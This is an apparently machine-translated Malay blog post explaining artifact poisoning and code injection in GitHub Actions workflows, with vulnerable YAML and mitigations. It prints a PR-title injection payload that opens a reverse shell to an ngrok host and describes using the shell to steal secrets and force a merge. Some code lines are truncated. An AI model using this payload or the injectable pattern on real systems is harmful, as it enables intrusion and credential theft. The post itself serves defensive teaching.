Pada catatan sebelumnya (lihat Keracunan Tidak Langsung Pipeline Pelaksanaan I-PPE dan Beracun Pipeline PPE Pelaksanaan , kami pada asasnya berurusan dengan PPE (Beracun Pipeline (Pelaksanaan): kita telah melihat cara ia berfungsi, kesannya, beberapa eksploitasi serta beberapa cara untuk melindungi daripadanya.
Catatan ini mengkaji secara mendalam beberapa perkara lain CI/CD pipeline kerentanan seperti Keracunan Artifak dan Suntikan Kod.
Untuk melakukannya, kita akan mendasarkannya pada PPE, jadi mari kita buat ringkasan ringkas tentang apa yang kita lihat tentang PPE.
Kerja-kerja PPE sebelum ini
Secara ringkasnya, kami bermula dengan GitHub asas pipeline untuk membina dan menguji kod yang disumbangkan melalui pull requestSelain itu, ia mentakrifkan beberapa semakan yang, jika dipenuhi, akan menggabungkan kod ke dalam cabang arus perdana. Kami menamakannya sebagai Senario #1.

Dalam catatan kami sebelum ini, kami telah menunjukkan bagaimana asas ini pipeline adalah terdedah kepada kedua-dua D-PPE dan I-PPE.
Kami berjaya betulkan D-PPE by mengubah suai peristiwa pencetus yang diadakan pada pull_request kepada sasaran_permintaan_tarik, menjadikannya pipeline selamat untuk D-PPESebagai peringatan, pipelines yang dicetuskan pada peristiwa pull_request_target akan melaksanakan asas pipeline kod, bukan pipeline kod yang terkandung dalam pull request.
Kami menamakan ini sebagai Senario #2.

Hasil daripada pengubahsuaian ini, kami telah menunjukkan bahawa Senario #2 masih terdedah kepada I-PPE.
Untuk memperbaikinya, kami memutuskan untuk membelah pipeline kepada dua:
- Yang ke-1 pipeline (Bina CI) akan semak kod PR (untuk membinanya), buat binaan dan jana artifak.
- Yang ke-2 pipeline (Ujian CI) akan semak kod Asas (untuk mengelakkan pengubahsuaian skrip shell) dan laksanakan skrip asal terhadap artifak tersebut.
- Untuk menyegerakkan CI Ujian pipeline untuk dijalankan SELEPAS CI Binaan pipeline, kita akan menggunakan aliran_jalan pencetus.
Kami menamakan ini sebagai Senario #3.

Mari kita pulihkan kod kedua-duanya pipelinemengikut pengubahsuaian ini…
1st pipeline (Bina CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Ujian CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Keracunan Artifak
Menurut di atas CI/CD pipelines:
- pipeline Bina CI is selamat kepada kedua-duanya D-PPE (disebabkan oleh sasaran_permintaan_tarik) dan I-PPE (kerana ia tidak lagi melaksanakan skrip shell).
- pipeline Ujian CI juga selamat kepada kedua-duanya D-PPE (disebabkan oleh aliran_jalan) dan I-PPE (kerana ia menyemak kod asas untuk mendapatkan skrip shell asal)
Mari kita selidiki "penyelesaian" ini secara mendalam.
Pipeline Ujian CI memuat turun artifak sebagai fail zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Setelah dinyahzip, ia akan melaksanakan skrip shell "selamat". Mengapa saya mengatakan skrip shell "selamat"? Kerana dalam langkah sebelumnya, pipeline menyemak kod "asas", jadi skrip asal diletakkan ke dalam folder ruang kerja. Oleh itu, apabila pipeline melaksanakan skrip shell yang akan dijalankan menggunakan binari yang dimuat turun sebelum ini.
Kemudian, apakah itu masalah dengan pendekatan ini? Masalahnya datang apabila mana-mana pengguna "mencipta" yang baharu pipeline.
Jika pengguna membuka PR yang mengandungi yang baharu pipeline, GitHub akan melaksanakannya pipeline (memandangkan beberapa syarat, seperti yang kita lihat pada sebelumnya hantar).
Memandangkan ini, bagaimana jika pengguna mencipta yang baharu pipeline dengan nama yang sama seperti Build CI? Ya, memang mengejutkan, tetapi GitHub membolehkan anda mencipta dua pipelines dengan nama yang sama!!
Ingat bahawa CI Ujian akan dilaksanakan selepas CI Binaan…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Anehnya, kerana kini terdapat dua pipelines dengan nama yang sama, pipeline Ujian CI akan dilaksanakan dua kali: satu selepas yang asal pipeline dan lain-lain selepas "baharu" pipeline.
Bagaimanakah penggodam boleh mengambil kesempatan daripada ini?
- Pertama, pengguna yang berniat jahat boleh mengubah suai skrip shell untuk menghantar rahsia tersebut ke pelayan yang dikawal oleh penggodam.
- Kedua, yang baharu pipeline termasuk baris untuk menyalin skrip shell yang diubah suai ke dalam artifak → meracuni artifakct!!!
Apabila pengguna membuka PR dengan perubahan ini, "baharu" pipeline akan dilaksanakan (memuat naik artifak beracun) dan Deploy CI pipeline akan dilaksanakan selepas itu, mengakibatkan Skrip shell "diubah suai" menulis ganti skrip shell "asal" yang terletak di pipeline ruang kerja.

Inilah yang kami panggil Keracunan Artifak, iaitu keupayaan untuk mengubah suai (menggoda) pipeline logik melalui pengubahsuaian pipeline artifak.
Satu mungkin pemulihan agak mudah: hanya membuka zip artifak ke subfolder ruang kerja akan mengelakkan penulisan ganti skrip shell "asas".
Suntikan Kod
Selain keracunan artifak, bolehkah anda melihat sebarang kelemahan lain dalam kod di atas?
Jom pergi!!
Seperti yang anda lihat dalam kod tersebut, pipeline Bina CI membina binari, ia memuat naik binari sebagai pipeline artifak dan, selain itu, ia memuat naik beberapa data tambahan: Tajuk PR dan ID PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Mengapa? Kerana untuk menggabungkan PR, seperti yang anda lihat di bawah, Ujian CI pipeline memerlukan id PR untuk memanggil API REST GitHub yang menggabungkan PR.
Bagaimanakah Ujian CI pipeline mendapatkan ID PR itu? Berkongsi maklumat dalam fail teks (sebahagian daripada pipeline artifak) ialah cara biasa untuk berkongsi maklumat antara pipelines. Dan itulah sebenarnya yang dimaksudkan dengan ini pipelineyang sedang dilakukan.
echo "Merging .."
PR_ID=$(
Secara tepatnya, hanya ID PR diperlukan untuk menggabungkan PR, tetapi pipeline pentadbir memutuskan CI Binaan juga untuk memasukkan tajuk PR supaya CI Ujian pipeline akan mencetak beberapa mesej maklumat yang mengandungi kedua-dua ID PR dan Tajuk.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
Tajuk PR sentiasa merupakan data yang datang daripada pengguna dan, oleh itu, mesti sentiasa dianggap sebagai tidak dipercayai. Jadi pipeline mesti mengendalikannya sedemikian dan mengambil langkah-langkah perlindungan.
Dalam kod di atas, kita dapat melihat mesej khusus yang menggemakan Tajuk PR. Ia hanyalah arahan "echo" linux.
Melalui interpolasi rentetan, jika tajuk itu adalah "tajuk palsu", Github menjana skrip dalaman yang mengandungi
echo ""a dummy title""
Tetapi, bagaimana jika tajuk PR adalah seperti:
Tajuk berniat jahat” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Skrip tersebut akan menjadi:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Mengakibatkan pembukaan shell terbalik terhadap pelayan yang dikawal oleh penggodam.

Cangkang terbalik itu mungkin digunakan untuk mengakses pipeline rahsia (ingat bahawa Test CI sedang berjalan dalam mod keistimewaan kerana ia dicetuskan oleh workflow_run jadi ia mempunyai akses kepada rahsia).
Tetapi, apa lagi yang boleh dilakukan melalui cangkerang terbalik itu?
Lihat kod Ujian CI:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Seperti yang anda boleh lihat dalam Ujian CI pipeline, arahan curl merge menggunakan GITHUB_PAT (ditakrifkan sebagai pipeline env var), jadi pelari mengandungi GITHUB_PAT sebagai pembolehubah persekitaran. Selain itu, ia juga mencipta env var yang membaca ID PR.
Jadi penggodam hanya perlu menyalin arahan curl dan menampalnya ke dalam shell terbalik, menggabungkan PR terus ke dalam cawangan yang dilindungi.

Untuk melindungi semua ini:
- Untuk mengelakkan interpolasi rentetan dengan data yang tidak dipercayai (terdedah kepada suntikan kod) oleh mentakrifkan pipeline vars persekitaran dan bukannya menggunakannya secara langsung dalam arahan gema
Daripada menggunakan:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Guna ini:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Walaupun dengan eksploitasi suntikan kod, arahan curl merge tidak akan berjaya jika anda melakukannya dengan betul melindungi anda pull requests melalui beberapa semakan atau kelulusan mandatori.
kesimpulan
Entah bagaimana sukar untuk melindungi CI/CD pipelinekonfigurasi s dan dapatkan pipelinebebas daripada kelemahan.
Ini tidak bermaksud demikian CI/CD sistem (seperti GitHub dalam kes ini) adalah terdedah. CI/CD Sistem menyediakan cara untuk melindungi daripada kerentanan… tetapi menjadi tanggungjawab pentadbir untuk melaksanakan perlindungan tersebut.
Tetapi ... Anda tidak boleh menyelesaikan kelemahan melainkan anda menyedari kewujudannya!!!
Sudah tentu pentadbir dev yang berkemahiran tinggi mungkin mempunyai semua ancaman ini dalam fikiran dan melindungi dengan betul CI/CD pipelines, tetapi, walaupun begitu, adalah sangat berharga untuk menggunakan produk bagi mengesan semua jenis kerentanan ini. Dan sudah tentu untuk mengautomasikan proses penahanan kerentanan ini (contohnya, menjalankan imbasan sebagai sebahagian daripada CI/CD pipelines).
Pendekatan ini mungkin dipanggil "Pintu Keselamatan"
- Buat yang baru pipeline (Pintu Keselamatan) untuk memeriksa CI/CD pipelinekelemahan dan membuat CI yang lain pipelinehanya untuk dilaksanakan setelah Pintu Keselamatan berjaya disiapkan pipeline.
- Pintu Keselamatan pipelines akan menyemak CI/CD pipelinekelemahan dan,
- Jika vuln ditemui, ia akan gagal dan, oleh itu, yang lain pipelines tidak akan dilaksanakan.
- Jika tiada vuln ditemui, pipeline akan berjaya dan yang lain pipelines akan dilaksanakan seperti biasa.








